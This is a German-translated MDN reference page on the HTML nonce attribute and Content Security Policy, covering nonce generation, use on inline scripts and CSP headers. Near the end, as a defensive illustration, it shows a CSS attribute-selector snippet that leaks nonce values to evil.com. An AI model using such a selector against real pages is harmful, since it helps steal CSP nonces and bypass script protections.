Dieser Inhalt wurde automatisch aus dem Englischen übersetzt, und kann Fehler enthalten.Erfahre mehr über dieses Experiment.
HTML nonce-Globalattribut
Baseline Widely available
This feature is well established and works across many devices and browser versions. It’s been available across browsers since März 2022.
Dasnonce-Globalattribut ist ein Inhaltsattribut, das eine kryptografischeNonce ("number used once") definiert, die von derContent Security Policy verwendet werden kann, um zu bestimmen, ob ein bestimmter Abruf für ein gegebenes Element erlaubt ist oder nicht.
In diesem Artikel
Beschreibung
Dasnonce-Attribut ist nützlich, um spezifische Elemente, wie beispielsweise ein bestimmtes Inline-Skript oder Style-Elemente, auf eine Positivliste zu setzen. Es kann Ihnen helfen, die Verwendung derCSPunsafe-inline-Direktive zu vermeiden, welchealle Inline-Skripte oder Styles auf eine Positivliste setzen würde.
Hinweis:Verwenden Sienonce nur in Fällen, in denen es keine Möglichkeit gibt, unsichere Inline-Skript- oder Stil-Inhalte zu vermeiden. Wenn Sienonce nicht benötigen, verwenden Sie es nicht. Wenn Ihr Skript statisch ist, könnten Sie stattdessen auch einen CSP-Hash verwenden. (Siehe Nutzungshinweise zuunsicherem Inline-Skript.) Versuchen Sie immer, den vollen Vorteil derCSP-Schutzmechanismen zu nutzen und Nonces oder unsichere Inline-Scripts wann immer möglich zu vermeiden.
Verwendung von nonce zur Positivliste eines<script>-Elements
Es gibt einige Schritte, um ein Inline-Skript mit Hilfe des Nonce-Mechanismus auf eine Positivliste zu setzen:
Werte generieren
Generieren Sie von Ihrem Webserver aus einen zufälligen, base64-kodierten String mit mindestens 128 Bit Daten von einem kryptografisch sicheren Zufallszahlengenerator. Nonces sollten jedes Mal neu generiert werden, wenn die Seite geladen wird (Nonce nur einmal verwenden!). Zum Beispiel in Node.js:
import crypto from "node:crypto";crypto.randomBytes(16).toString("base64");// '8IBTHwOdqNKAWeKl7plt8g=='Inline-Skript auf die Positivliste setzen
Die auf Ihrem Backend-Code generierte Nonce sollte nun für das Inline-Skript verwendet werden, das Sie auf die Positivliste setzen möchten:
<script nonce="8IBTHwOdqNKAWeKl7plt8g=="> // …</script>Senden einer Nonce mit einem CSP-Header
Schließlich müssen Sie den Nonce-Wert in einemContent-Security-Policy-Header senden (vorangestellt mitnonce-):
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='Zugriff auf Nonces und Verbergen von Nonces
Aus Sicherheitsgründen ist dasnonce-Inhaltsattribut verborgen (ein leerer String wird zurückgegeben).
script.getAttribute("nonce"); // returns empty stringDienonce-Eigenschaft ist der einzige Weg, um auf Nonces zuzugreifen:
script.nonce; // returns nonce valueDas Verbergen von Nonces hilft, Angreifer daran zu hindern, Nonce-Daten über Mechanismen zu stehlen, die Daten von Inhaltsattributen abrufen können, wie dieses:
script[nonce~="whatever"] { background: url("https://evil.com/nonce?whatever");}Spezifikationen
| Specification |
|---|
| HTML> # attr-nonce> |